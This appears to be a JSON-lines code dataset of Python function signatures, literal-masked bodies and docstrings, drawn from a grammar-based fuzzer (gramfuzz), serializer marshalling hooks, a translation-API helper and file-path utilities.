{"signature": "def __init__(self, *values, **kwargs):", "body": "super(Q, self).__init__(*values, **kwargs)<EOL>self.escape = kwargs.setdefault(\"<STR_LIT>\", self.escape)<EOL>self.html_js_escape = kwargs.setdefault(\"<STR_LIT>\", self.html_js_escape)<EOL>self.quote = kwargs.setdefault(\"<STR_LIT>\", self.quote)<EOL>", "docstring": "Create the new ``Quote`` instance\n\n        :param bool escape: Whether or not quoted data should be escaped (default=``False``)\n        :param bool html_js_escape: Whether or not quoted data should be html-javascript escaped (default=``False``)\n        :param str quote: The quote character to be used if ``escape`` and ``html_js_escape`` are ``False``", "id": "f756:c9:m0"}
{"signature": "def __init__(self, *values, **kwargs):", "body": "<EOL>self.shortest_vals = None<EOL>self.values = list(values)<EOL>if \"<STR_LIT>\" in kwargs and len(values) == <NUM_LIT:0>:<EOL><INDENT>self.values = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>self.rolling = kwargs.setdefault(\"<STR_LIT>\", False)<EOL>", "docstring": "Create a new ``Or`` instance with the provide values\n\n        :param list values: The list of values to choose randomly from", "id": "f756:c10:m0"}
{"signature": "def __init__(self, *values, **kwargs):", "body": "super(Opt, self).__init__(*values, **kwargs)<EOL>self.prob = kwargs.setdefault(\"<STR_LIT>\", self.prob)<EOL>", "docstring": "Create a new ``Opt`` instance\n\n        :param list values: The list of values to build (or not)\n        :param float prob: A float value between 0 and 1 that defines the probability\n        of cancelling the current build.", "id": "f756:c11:m0"}
{"signature": "def __init__(self, name, *values, **options):", "body": "self.name = name<EOL>self.options = options<EOL>self.values = list(values)<EOL>self.sep = self.options.setdefault(\"<STR_LIT>\", self.sep)<EOL>self.cat = self.options.setdefault(\"<STR_LIT>\", self.cat)<EOL>self.no_prune = self.options.setdefault(\"<STR_LIT>\", self.no_prune)<EOL>self.fuzzer = GramFuzzer.instance()<EOL>frame,mod_path,_,_,_,_ = inspect.stack()[<NUM_LIT:1>]<EOL>module_name = os.path.basename(mod_path).replace(\"<STR_LIT>\", \"<STR_LIT>\").replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>if \"<STR_LIT>\" in frame.f_locals:<EOL><INDENT>self.fuzzer.cat_group_defaults[module_name] = frame.f_locals[\"<STR_LIT>\"]<EOL><DEDENT>self.fuzzer.add_definition(self.cat, self.name, self, no_prune=self.no_prune, gram_file=module_name)<EOL>", "docstring": "Create a new rule definition. Simply instantiating a new rule definition\n        will add it to the current ``GramFuzzer`` instance.\n\n        :param str name: The name of the rule being defined\n        :param list values: The list of values that define the value of the rule\n            (will be concatenated when built)\n        :param str cat: The category to create the rule in (default=``\"default\"``).\n        :param bool no_prune: If this rule should not be pruned *EVEN IF* it is found to be\n            unreachable (default=``False``)", "id": "f756:c12:m0"}
{"signature": "def __init__(self, refname, **kwargs):", "body": "self.refname = refname<EOL>self.cat = kwargs.setdefault(\"<STR_LIT>\", self.cat)<EOL>self.failsafe = kwargs.setdefault(\"<STR_LIT>\", self.failsafe)<EOL>self.fuzzer = GramFuzzer.instance()<EOL>", "docstring": "Create a new ``Ref`` instance\n\n        :param str refname: The name of the rule to reference\n        :param str cat: The name of the category the rule is defined in", "id": "f756:c13:m0"}
{"signature": "def seed(val):", "body": "RANDOM.seed(val)<EOL>", "docstring": "Set the seed for any subsequent random values/choices\n\n    :param val: The random seed value", "id": "f757:m0"}
{"signature": "def randint(a, b=None):", "body": "<EOL>if b is None:<EOL><INDENT>return _randint(<NUM_LIT:0>, a-<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>return _randint(a, b-<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Return a random integer\n\n    :param int a: Either the minimum value (inclusive) if ``b`` is set, or\n    the maximum value if ``b`` is not set (non-inclusive, in which case the minimum\n    is implicitly 0)\n    :param int b: The maximum value to generate (non-inclusive)\n    :returns: int", "id": "f757:m1"}
{"signature": "def randfloat(a, b=None):", "body": "if b is None:<EOL><INDENT>max_ = a<EOL>min_ = <NUM_LIT:0.0><EOL><DEDENT>else:<EOL><INDENT>min_ = a<EOL>max_ = b<EOL><DEDENT>diff = max_ - min_<EOL>res = _random()<EOL>res *= diff<EOL>res += min_<EOL>return res<EOL>", "docstring": "Return a random float\n\n    :param float a: Either the minimum value (inclusive) if ``b`` is set, or\n    the maximum value if ``b`` is not set (non-inclusive, in which case the minimum\n    is implicitly 0.0)\n    :param float b: The maximum value to generate (non-inclusive)\n    :returns: float", "id": "f757:m2"}
{"signature": "def maybe(prob=<NUM_LIT:0.5>):", "body": "return _random() < prob<EOL>", "docstring": "Return ``True`` with ``prob`` probability.\n\n    :param float prob: The probability ``True`` will be returned\n    :returns: bool", "id": "f757:m3"}
{"signature": "def data(length, charset):", "body": "return \"<STR_LIT>\".join(_choice(charset) for x in xrange(length))<EOL>", "docstring": "Generate ``length`` random characters from charset ``charset``\n\n    :param int length: The number of characters to randomly generate\n    :param str charset: The charset of characters to choose from\n    :returns: str", "id": "f757:m4"}
{"signature": "@classmethod<EOL><INDENT>def instance(cls):<DEDENT>", "body": "if cls.__instance__ is None:<EOL><INDENT>cls()<EOL><DEDENT>return cls.__instance__<EOL>", "docstring": "Return the singleton instance of the ``GramFuzzer``", "id": "f758:c0:m0"}
{"signature": "def __init__(self, debug=False):", "body": "GramFuzzer.__instance__ = self<EOL>self.debug = debug<EOL>self.defs = {}<EOL>self.no_prunes = {}<EOL>self.cat_groups = {}<EOL>self.cat_group_defaults = {}<EOL>self._staged_defs = None<EOL>self._last_prefs = None<EOL>self._last_pref_keys = None<EOL>self._rules_processed = False<EOL>", "docstring": "Create a new ``GramFuzzer`` instance", "id": "f758:c0:m1"}
{"signature": "def load_grammar(self, path):", "body": "if not os.path.exists(path):<EOL><INDENT>raise Exception(\"<STR_LIT>\".format(path))<EOL><DEDENT>grammar_path = os.path.dirname(path)<EOL>if grammar_path not in sys.path:<EOL><INDENT>sys.path.append(grammar_path)<EOL><DEDENT>with open(path, \"<STR_LIT:r>\") as f:<EOL><INDENT>data = f.read()<EOL><DEDENT>code = compile(data, path, \"<STR_LIT>\")<EOL>locals_ = {\"<STR_LIT>\": self, \"<STR_LIT>\": path}<EOL>exec(code, locals_)<EOL>if \"<STR_LIT>\" in locals_:<EOL><INDENT>cat_group = os.path.basename(path).replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>self.set_cat_group_top_level_cat(cat_group, locals_[\"<STR_LIT>\"])<EOL><DEDENT>", "docstring": "Load a grammar file (python file containing grammar definitions) by\n        file path. When loaded, the global variable ``GRAMFUZZER`` will be set\n        within the module. This is not always needed, but can be useful.\n\n        :param str path: The path to the grammar file", "id": "f758:c0:m2"}
{"signature": "def set_max_recursion(self, level):", "body": "import gramfuzz.fields<EOL>gramfuzz.fields.Ref.max_recursion = level<EOL>", "docstring": "Set the maximum reference-recursion depth (not the Python system maximum stack\n        recursion level). This controls how many levels deep of nested references are allowed\n        before gramfuzz attempts to generate the shortest (reference-wise) rules possible.\n\n        :param int level: The new maximum reference level", "id": "f758:c0:m3"}
{"signature": "def preprocess_rules(self):", "body": "to_prune = self._find_shortest_paths()<EOL>self._prune_rules(to_prune)<EOL>self._rules_processed = True<EOL>", "docstring": "Calculate shortest reference-paths of each rule (and Or field),\n        and prune all unreachable rules.", "id": "f758:c0:m4"}
{"signature": "def add_definition(self, cat, def_name, def_val, no_prune=False, gram_file=\"<STR_LIT:default>\"):", "body": "self._rules_processed = False<EOL>self.add_to_cat_group(cat, gram_file, def_name)<EOL>if no_prune:<EOL><INDENT>self.no_prunes.setdefault(cat, {}).setdefault(def_name, True)<EOL><DEDENT>if self._staged_defs is not None:<EOL><INDENT>self._staged_defs.append((cat, def_name, def_val))<EOL><DEDENT>else:<EOL><INDENT>self.defs.setdefault(cat, {}).setdefault(def_name, deque()).append(def_val)<EOL><DEDENT>", "docstring": "Add a new rule definition named ``def_name`` having value ``def_value`` to\n        the category ``cat``.\n\n        :param str cat: The category to add the rule to\n        :param str def_name: The name of the rule definition\n        :param def_val: The value of the rule definition\n        :param bool no_prune: If the rule should explicitly *NOT*\n            be pruned even if it has been determined to be unreachable (default=``False``)\n        :param str gram_file: The file the rule was defined in (default=``\"default\"``).", "id": "f758:c0:m10"}
{"signature": "def set_cat_group_top_level_cat(self, cat_group, top_level_cat):", "body": "self.cat_group_defaults[cat_group] = top_level_cat<EOL>", "docstring": "Set the default category when generating data from the grammars defined\n        in cat group. *Note* a cat group is usually just the basename of the grammar\n        file, minus the ``.py``.\n\n        :param str cat_group: The category group to set the default top-level cat for\n        :param str top_level_cat: The top-level (default) category of the cat group", "id": "f758:c0:m11"}
{"signature": "def add_to_cat_group(self, cat, cat_group, def_name):", "body": "self.cat_groups.setdefault(cat, {}).setdefault(cat_group, deque()).append(def_name)<EOL>", "docstring": "Associate the provided rule definition name ``def_name`` with the\n        category group ``cat_group`` in the category ``cat``.\n\n        :param str cat: The category the rule definition was declared in\n        :param str cat_group: The group within the category the rule belongs to\n        :param str def_name: The name of the rule definition", "id": "f758:c0:m12"}
{"signature": "def get_ref(self, cat, refname):", "body": "if cat not in self.defs:<EOL><INDENT>raise errors.GramFuzzError(\"<STR_LIT>\".format(cat))<EOL><DEDENT>if refname == \"<STR_LIT:*>\":<EOL><INDENT>refname = rand.choice(list(self.defs[cat].keys()))<EOL><DEDENT>if refname not in self.defs[cat]:<EOL><INDENT>raise errors.GramFuzzError(\"<STR_LIT>\".format(refname))<EOL><DEDENT>return rand.choice(self.defs[cat][refname])<EOL>", "docstring": "Return one of the rules in the category ``cat`` with the name\n        ``refname``. If multiple rule defintions exist for the defintion name\n        ``refname``, use :any:`gramfuzz.rand` to choose a rule at random.\n\n        :param str cat: The category to look for the rule in.\n        :param str refname: The name of the rule definition. If the rule definition's name is\n            ``\"*\"``, then a rule name will be chosen at random from within the category ``cat``.\n        :returns: gramfuzz.fields.Def", "id": "f758:c0:m13"}
{"signature": "def gen(self, num, cat=None, cat_group=None, preferred=None, preferred_ratio=<NUM_LIT:0.5>, max_recursion=None, auto_process=True):", "body": "import gramfuzz.fields<EOL>gramfuzz.fields.REF_LEVEL = <NUM_LIT:1><EOL>if cat is None and cat_group is None:<EOL><INDENT>raise gramfuzz.errors.GramFuzzError(\"<STR_LIT>\")<EOL><DEDENT>if cat is None and cat_group is not None:<EOL><INDENT>if cat_group not in self.cat_group_defaults:<EOL><INDENT>raise gramfuzz.errors.GramFuzzError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>cat = self.cat_group_defaults[cat_group]<EOL>if not isinstance(cat, str):<EOL><INDENT>raise gramfuzz.errors.GramFuzzError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>if auto_process and self._rules_processed == False:<EOL><INDENT>self.preprocess_rules()<EOL><DEDENT>if max_recursion is not None:<EOL><INDENT>self.set_max_recursion(max_recursion)<EOL><DEDENT>if preferred is None:<EOL><INDENT>preferred = []<EOL><DEDENT>res = deque()<EOL>cat_defs = self.defs[cat]<EOL>_res_append = res.append<EOL>_res_extend = res.extend<EOL>_choice = rand.choice<EOL>_maybe = rand.maybe<EOL>_val = utils.val<EOL>keys = list(self.defs[cat].keys())<EOL>self._last_pref_keys = self._get_pref_keys(cat, preferred)<EOL>self._last_prefs = preferred<EOL>total_errors = deque()<EOL>total_gend = <NUM_LIT:0><EOL>while total_gend < num:<EOL><INDENT>if len(self._last_pref_keys) > <NUM_LIT:0> and _maybe(preferred_ratio):<EOL><INDENT>rand_key = _choice(self._last_pref_keys)<EOL>if rand_key not in cat_defs:<EOL><INDENT>rand_key = _choice(keys)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rand_key = _choice(keys)<EOL><DEDENT>if rand_key not in cat_defs:<EOL><INDENT>continue<EOL><DEDENT>v = _choice(cat_defs[rand_key])<EOL>info = {}<EOL>pre = deque()<EOL>self.pre_revert(info)<EOL>val_res = None<EOL>try:<EOL><INDENT>val_res = _val(v, pre)<EOL><DEDENT>except errors.GramFuzzError as e:<EOL><INDENT>raise<EOL><DEDENT>except RuntimeError as e:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>self.revert(info)<EOL>continue<EOL><DEDENT>if val_res is not None:<EOL><INDENT>_res_extend(pre)<EOL>_res_append(val_res)<EOL>total_gend += <NUM_LIT:1><EOL>self.post_revert(cat, res, total_gend, num, info)<EOL><DEDENT><DEDENT>return res<EOL>", "docstring": "Generate ``num`` rules from category ``cat``, optionally specifying\n        preferred category groups ``preferred`` that should be preferred at\n        probability ``preferred_ratio`` over other randomly-chosen rule definitions.\n\n        :param int num: The number of rules to generate\n        :param str cat: The name of the category to generate ``num`` rules from\n        :param str cat_group: The category group (ie python file) to generate rules from. This\n            was added specifically to make it easier to generate data based on the name\n            of the file the grammar was defined in, and is intended to work with the\n            ``TOP_CAT`` values that may be defined in a loaded grammar file.\n        :param list preferred: A list of preferred category groups to generate rules from\n        :param float preferred_ratio: The percent probability that the preferred\n            groups will be chosen over randomly choosen rule definitions from category ``cat``.\n        :param int max_recursion: The maximum amount to allow references to recurse\n        :param bool auto_process: Whether rules should be automatically pruned and\n            shortest reference paths determined. See :any:`gramfuzz.GramFuzzer.preprocess_rules`\n            for what would automatically be done.", "id": "f758:c0:m14"}
{"signature": "def pre_revert(self, info=None):", "body": "self._staged_defs = deque()<EOL>", "docstring": "Signal to begin saving any changes that might need to be reverted", "id": "f758:c0:m15"}
{"signature": "def post_revert(self, cat, res, total_num, num, info):", "body": "if self._staged_defs is None:<EOL><INDENT>return<EOL><DEDENT>for cat,def_name,def_value in self._staged_defs:<EOL><INDENT>self.defs.setdefault(cat, {}).setdefault(def_name, deque()).append(def_value)<EOL><DEDENT>self._staged_defs = None<EOL>", "docstring": "Commit any staged rule definition changes (rule generation went\n        smoothly).", "id": "f758:c0:m16"}
{"signature": "def revert(self, info=None):", "body": "self._staged_defs = None<EOL>", "docstring": "Revert after a single def errored during generate (throw away all\n        staged rule definition changes)", "id": "f758:c0:m17"}
{"signature": "@property<EOL><INDENT>def safe(self):<DEDENT>", "body": "return self._dumper_class is yaml.SafeDumper<EOL>", "docstring": "Returns ``True`` if the safe mode is being used with (de)serialization.", "id": "f767:c0:m4"}
{"signature": "def default_decoder(self, obj):", "body": "typename, marshalled_state = self.unwrap_callback(obj)<EOL>if typename is None:<EOL><INDENT>return obj<EOL><DEDENT>try:<EOL><INDENT>cls, unmarshaller = self.serializer.unmarshallers[typename]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise LookupError('<STR_LIT>'.format(typename)) from None<EOL><DEDENT>if cls is not None:<EOL><INDENT>instance = cls.__new__(cls)<EOL>unmarshaller(instance, marshalled_state)<EOL>return instance<EOL><DEDENT>else:<EOL><INDENT>return unmarshaller(marshalled_state)<EOL><DEDENT>", "docstring": "Handle a dict that might contain a wrapped state for a custom type.", "id": "f771:c0:m2"}
{"signature": "def wrap_state_dict(self, typename: str, state) -> Dict[str, Any]:", "body": "return {self.type_key: typename, self.state_key: state}<EOL>", "docstring": "Wrap the marshalled state in a dictionary.\n\nThe returned dictionary has two keys, corresponding to the ``type_key`` and ``state_key``\noptions. The former holds the type name and the latter holds the marshalled state.\n\n:param typename: registered name of the custom type\n:param state: the marshalled state of the object\n:return: an object serializable by the serializer", "id": "f771:c0:m3"}
{"signature": "def unwrap_state_dict(self, obj: Dict[str, Any]) -> Union[Tuple[str, Any], Tuple[None, None]]:", "body": "if len(obj) == <NUM_LIT:2>:<EOL><INDENT>typename = obj.get(self.type_key)<EOL>state = obj.get(self.state_key)<EOL>if typename is not None:<EOL><INDENT>return typename, state<EOL><DEDENT><DEDENT>return None, None<EOL>", "docstring": "Unwraps a marshalled state previously wrapped using :meth:`wrap_state_dict`.", "id": "f771:c0:m4"}
{"signature": "def default_marshaller(obj):", "body": "if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>return obj.__getstate__()<EOL><DEDENT>try:<EOL><INDENT>return obj.__dict__<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>.format(qualified_name(obj.__class__))) from None<EOL><DEDENT>", "docstring": "Retrieve the state of the given object.\n\nCalls the ``__getstate__()`` method of the object if available, otherwise returns the\n``__dict__`` of the object.\n\n:param obj: the object to marshal\n:return: the marshalled object state", "id": "f772:m0"}
{"signature": "def default_unmarshaller(instance, state) -> None:", "body": "if hasattr(instance, '<STR_LIT>'):<EOL><INDENT>instance.__setstate__(state)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>instance.__dict__.update(state)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>.format(qualified_name(instance.__class__))) from None<EOL><DEDENT><DEDENT>", "docstring": "Restore the state of an object.\n\nIf the ``__setstate__()`` method exists on the instance, it is called with the state object\nas the argument. Otherwise, the instance's ``__dict__`` is replaced with ``state``.\n\n:param instance: an uninitialized instance\n:param state: the state object, as returned by :func:`default_marshaller`", "id": "f772:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def serialize(self, obj) -> bytes:<DEDENT>", "body": "", "docstring": "Serialize a Python object into bytes.", "id": "f773:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def deserialize(self, payload: bytes):<DEDENT>", "body": "", "docstring": "Deserialize bytes into a Python object.", "id": "f773:c0:m1"}
{"signature": "@property<EOL><INDENT>@abstractmethod<EOL>def mimetype(self) -> str:<DEDENT>", "body": "", "docstring": "Return the MIME type for this serialization format.", "id": "f773:c0:m2"}
{"signature": "def register_custom_type(<EOL>self, cls: type, marshaller: Optional[Callable[[Any], Any]] = default_marshaller,<EOL>unmarshaller: Union[Callable[[Any, Any], None],<EOL>Callable[[Any], Any], None] = default_unmarshaller, *,<EOL>typename: str = None, wrap_state: bool = True) -> None:", "body": "assert check_argument_types()<EOL>typename = typename or qualified_name(cls)<EOL>if marshaller:<EOL><INDENT>self.marshallers[cls] = typename, marshaller, wrap_state<EOL>self.custom_type_codec.register_object_encoder_hook(self)<EOL><DEDENT>if unmarshaller and self.custom_type_codec is not None:<EOL><INDENT>target_cls = cls  <EOL>if len(signature(unmarshaller).parameters) == <NUM_LIT:1>:<EOL><INDENT>target_cls = None<EOL><DEDENT>self.unmarshallers[typename] = target_cls, unmarshaller<EOL>self.custom_type_codec.register_object_decoder_hook(self)<EOL><DEDENT>", "docstring": "Register a marshaller and/or unmarshaller for the given class.\n\nThe state object returned by the marshaller and passed to the unmarshaller can be any\nserializable type. Usually a dictionary mapping of attribute names to values is used.\n\n.. warning:: Registering marshallers/unmarshallers for any custom type will override any\n    serializer specific encoding/decoding hooks (respectively) already in place!\n\n:param cls: the class to register\n:param marshaller: a callable that takes the object to be marshalled as the argument and\n      returns a state object\n:param unmarshaller: a callable that either:\n\n    * takes an uninitialized instance of ``cls`` and its state object as arguments and\n      restores the state of the object\n    * takes a state object and returns a new instance of ``cls``\n:param typename: a unique identifier for the type (defaults to the ``module:varname``\n    reference to the class)\n:param wrap_state: ``True`` to wrap the marshalled state before serialization so that it\n    can be recognized later for unmarshalling, ``False`` to serialize it as is", "id": "f773:c1:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def register_object_encoder_hook(self, serializer: CustomizableSerializer) -> None:<DEDENT>", "body": "", "docstring": "Register a custom encoder callback on the serializer.\n\nThis callback would be called when the serializer encounters an object it cannot natively\nserialize. What the callback returns is specific to each serializer type.\n\n:param serializer: the serializer instance to use", "id": "f773:c2:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def register_object_decoder_hook(self, serializer: CustomizableSerializer) -> None:<DEDENT>", "body": "", "docstring": "Register a callback on the serializer for unmarshalling previously marshalled objects.\n\n:param serializer: the serializer instance to use", "id": "f773:c2:m1"}
{"signature": "def get_response(word):", "body": "url = URL + \"<STR_LIT>\" + API_KEY + \"<STR_LIT>\" + word + \"<STR_LIT>\"<EOL>return requests.get(url)<EOL>", "docstring": "Fetch translate result from baidu api\n    Args:\n        word(str): query word\n    Returns:\n        (requests.models.Response): response object", "id": "f778:m0"}
{"signature": "def print_res(data):", "body": "print('<STR_LIT>')<EOL>main_part = data['<STR_LIT:data>']<EOL>print(main_part['<STR_LIT>'])<EOL>symbols = main_part['<STR_LIT>'][<NUM_LIT:0>]<EOL>print(\"<STR_LIT>\" + symbols['<STR_LIT>'] + \"<STR_LIT:]>\")<EOL>print(\"<STR_LIT>\" + symbols['<STR_LIT>'] + \"<STR_LIT:]>\")<EOL>print('<STR_LIT>')<EOL>parts = symbols['<STR_LIT>']<EOL>for part in parts:<EOL><INDENT>print(part['<STR_LIT>'])<EOL>for mean in part['<STR_LIT>']:<EOL><INDENT>print(\"<STR_LIT:U+0020>\", mean)<EOL><DEDENT><DEDENT>print('<STR_LIT>')<EOL>", "docstring": "Print translate result in a better format\n    Args:\n        data(str): result", "id": "f778:m1"}
{"signature": "@task<EOL>def release():", "body": "run(\"<STR_LIT>\")<EOL>", "docstring": "Publishes the project on PyPI.\n\nWe have automatic publishing enabled on TRAVIS build, so this is not\nnecessary... but I'll keep here for reference.", "id": "f782:m0"}
{"signature": "@task<EOL>def travis_setpass():", "body": "print(\"<STR_LIT>\")<EOL>", "docstring": "Stores the PyPI password (encrypted) in the .travis.yml file.", "id": "f782:m2"}
{"signature": "def get_data_dir(self):", "body": "return self._data_dir<EOL>", "docstring": ":rtype: unicode\n:returns:\n    Returns the absolute path to data-directory name to use, standardized by StandardizePath.\n\n@remarks:\n    This method triggers the data-directory creation.", "id": "f785:c0:m3"}
{"signature": "def get_filename(self, *parts):", "body": "from zerotk.easyfs import StandardizePath<EOL>result = [self._data_dir] + list(parts)<EOL>result = '<STR_LIT:/>'.join(result)<EOL>return StandardizePath(result)<EOL>", "docstring": "Returns an absolute filename in the data-directory (standardized by StandardizePath).\n\n@params parts: list(unicode)\n    Path parts. Each part is joined to form a path.\n\n:rtype: unicode\n:returns:\n    The full path prefixed with the data-directory.\n\n@remarks:\n    This method triggers the data-directory creation.", "id": "f785:c0:m4"}
{"signature": "def assert_equal_files(self, obtained_fn, expected_fn, fix_callback=lambda x:x, binary=False, encoding=None):", "body": "import os<EOL>from zerotk.easyfs import GetFileContents, GetFileLines<EOL>__tracebackhide__ = True<EOL>import io<EOL>def FindFile(filename):<EOL><INDENT>data_filename = self.get_filename(filename)<EOL>if os.path.isfile(data_filename):<EOL><INDENT>return data_filename<EOL><DEDENT>if os.path.isfile(filename):<EOL><INDENT>return filename<EOL><DEDENT>from ._exceptions import MultipleFilesNotFound<EOL>raise MultipleFilesNotFound([filename, data_filename])<EOL><DEDENT>obtained_fn = FindFile(obtained_fn)<EOL>expected_fn = FindFile(expected_fn)<EOL>if binary:<EOL><INDENT>obtained_lines = GetFileContents(obtained_fn, binary=True)<EOL>expected_lines = GetFileContents(expected_fn, binary=True)<EOL>assert obtained_lines == expected_lines<EOL><DEDENT>else:<EOL><INDENT>obtained_lines = fix_callback(GetFileLines(obtained_fn, encoding=encoding))<EOL>expected_lines = GetFileLines(expected_fn, encoding=encoding)<EOL>if obtained_lines != expected_lines:<EOL><INDENT>html_fn = os.path.splitext(obtained_fn)[<NUM_LIT:0>] + '<STR_LIT>'<EOL>html_diff = self._generate_html_diff(<EOL>expected_fn, expected_lines, obtained_fn, obtained_lines)<EOL>with io.open(html_fn, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(html_diff)<EOL><DEDENT>import difflib<EOL>diff = ['<STR_LIT>', obtained_fn, expected_fn]<EOL>diff += ['<STR_LIT>' % html_fn]<EOL>diff += difflib.context_diff(obtained_lines, expected_lines)<EOL>raise AssertionError('<STR_LIT:\\n>'.join(diff) + '<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>", "docstring": "Compare two files contents. If the files differ, show the diff and write a nice HTML\ndiff file into the data directory.\n\nSearches for the filenames both inside and outside the data directory (in that order).\n\n:param unicode obtained_fn: basename to obtained file into the data directory, or full path.\n\n:param unicode expected_fn: basename to expected file into the data directory, or full path.\n\n:param bool binary:\n    Thread both files as binary files.\n\n:param unicode encoding:\n    File's encoding. If not None, contents obtained from file will be decoded using this\n    `encoding`.\n\n:param callable fix_callback:\n    A callback to \"fix\" the contents of the obtained (first) file.\n    This callback receives a list of strings (lines) and must also return a list of lines,\n    changed as needed.\n    The resulting lines will be used to compare with the contents of expected_fn.\n\n:param bool binary:\n    .. seealso:: zerotk.easyfs.GetFileContents", "id": "f785:c0:m6"}
{"signature": "def _generate_html_diff(self, expected_fn, expected_lines, obtained_fn, obtained_lines):", "body": "import difflib<EOL>differ = difflib.HtmlDiff()<EOL>return differ.make_file(<EOL>fromlines=expected_lines,<EOL>fromdesc=expected_fn,<EOL>tolines=obtained_lines,<EOL>todesc=obtained_fn,<EOL>)<EOL>", "docstring": "Returns a nice side-by-side diff of the given files, as a string.", "id": "f785:c0:m7"}
{"signature": "def _GetNativeEolStyle(platform=sys.platform):", "body": "_NATIVE_EOL_STYLE_MAP = {<EOL>'<STR_LIT:win32>' : EOL_STYLE_WINDOWS,<EOL>'<STR_LIT>' : EOL_STYLE_UNIX,<EOL>'<STR_LIT>' : EOL_STYLE_UNIX,<EOL>'<STR_LIT>' : EOL_STYLE_MAC,<EOL>}<EOL>result = _NATIVE_EOL_STYLE_MAP.get(platform)<EOL>if result is None:<EOL><INDENT>from ._exceptions import UnknownPlatformError<EOL>raise UnknownPlatformError(platform)<EOL><DEDENT>return result<EOL>", "docstring": "Internal function that determines EOL_STYLE_NATIVE constant with the proper value for the\ncurrent platform.", "id": "f788:m0"}
{"signature": "@contextlib.contextmanager<EOL>def Cwd(directory):", "body": "old_directory = six.moves.getcwd()<EOL>if directory is not None:<EOL><INDENT>os.chdir(directory)<EOL><DEDENT>try:<EOL><INDENT>yield directory<EOL><DEDENT>finally:<EOL><INDENT>os.chdir(old_directory)<EOL><DEDENT>", "docstring": "Context manager for current directory (uses with_statement)\n\ne.g.:\n    # working on some directory\n    with Cwd('/home/new_dir'):\n        # working on new_dir\n\n    # working on some directory again\n\n:param unicode directory:\n    Target directory to enter", "id": "f788:m1"}
{"signature": "def NormalizePath(path):", "body": "if path.endswith('<STR_LIT:/>') or path.endswith('<STR_LIT:\\\\>'):<EOL><INDENT>slash = os.path.sep<EOL><DEDENT>else:<EOL><INDENT>slash = '<STR_LIT>'<EOL><DEDENT>return os.path.normpath(path) + slash<EOL>", "docstring": "Normalizes a path maintaining the final slashes.\n\nSome environment variables need the final slash in order to work.\n\nEx. The SOURCES_DIR set by subversion must end with a slash because of the way it is used\nin the Visual Studio projects.\n\n:param unicode path:\n    The path to normalize.\n\n:rtype: unicode\n:returns:\n    Normalized path", "id": "f788:m2"}
{"signature": "def CanonicalPath(path):", "body": "path = os.path.normpath(path)<EOL>path = os.path.abspath(path)<EOL>path = os.path.normcase(path)<EOL>return path<EOL>", "docstring": "Returns a version of a path that is unique.\n\nGiven two paths path1 and path2:\n    CanonicalPath(path1) == CanonicalPath(path2) if and only if they represent the same file on\n    the host OS. Takes account of case, slashes and relative paths.\n\n:param unicode path:\n    The original path.\n\n:rtype: unicode\n:returns:\n    The unique path.", "id": "f788:m3"}
{"signature": "def StandardizePath(path, strip=False):", "body": "path = path.replace(SEPARATOR_WINDOWS, SEPARATOR_UNIX)<EOL>if strip:<EOL><INDENT>path = path.rstrip(SEPARATOR_UNIX)<EOL><DEDENT>return path<EOL>", "docstring": "Replaces all slashes and backslashes with the target separator\n\nStandardPath:\n    We are defining that the standard-path is the one with only back-slashes in it, either\n    on Windows or any other platform.\n\n:param bool strip:\n    If True, removes additional slashes from the end of the path.", "id": "f788:m4"}
{"signature": "def NormStandardPath(path):", "body": "import posixpath<EOL>if path.endswith('<STR_LIT:/>'):<EOL><INDENT>slash = '<STR_LIT:/>'<EOL><DEDENT>else:<EOL><INDENT>slash = '<STR_LIT>'<EOL><DEDENT>return posixpath.normpath(path) + slash<EOL>", "docstring": "Normalizes a standard path (posixpath.normpath) maintaining any slashes at the end of the path.\n\nNormalize:\n    Removes any local references in the path \"/../\"\n\nStandardPath:\n    We are defining that the standard-path is the one with only back-slashes in it, either\n    on Windows or any other platform.", "id": "f788:m5"}
{"signature": "def CreateMD5(source_filename, target_filename=None):", "body": "if target_filename is None:<EOL><INDENT>target_filename = source_filename + '<STR_LIT>'<EOL><DEDENT>from six.moves.urllib.parse import urlparse<EOL>source_url = urlparse(source_filename)<EOL>if _UrlIsLocal(source_url):<EOL><INDENT>md5_contents = Md5Hex(filename=source_filename)<EOL><DEDENT>else:<EOL><INDENT>md5_contents = Md5Hex(contents=GetFileContents(source_filename, binary=True))<EOL><DEDENT>CreateFile(target_filename, md5_contents)<EOL>", "docstring": "Creates a md5 file from a source file (contents are the md5 hash of source file)\n\n:param unicode source_filename:\n    Path to source file\n\n:type target_filename: unicode or None\n:param target_filename:\n    Name of the target file with the md5 contents\n\n    If None, defaults to source_filename + '.md5'", "id": "f788:m6"}
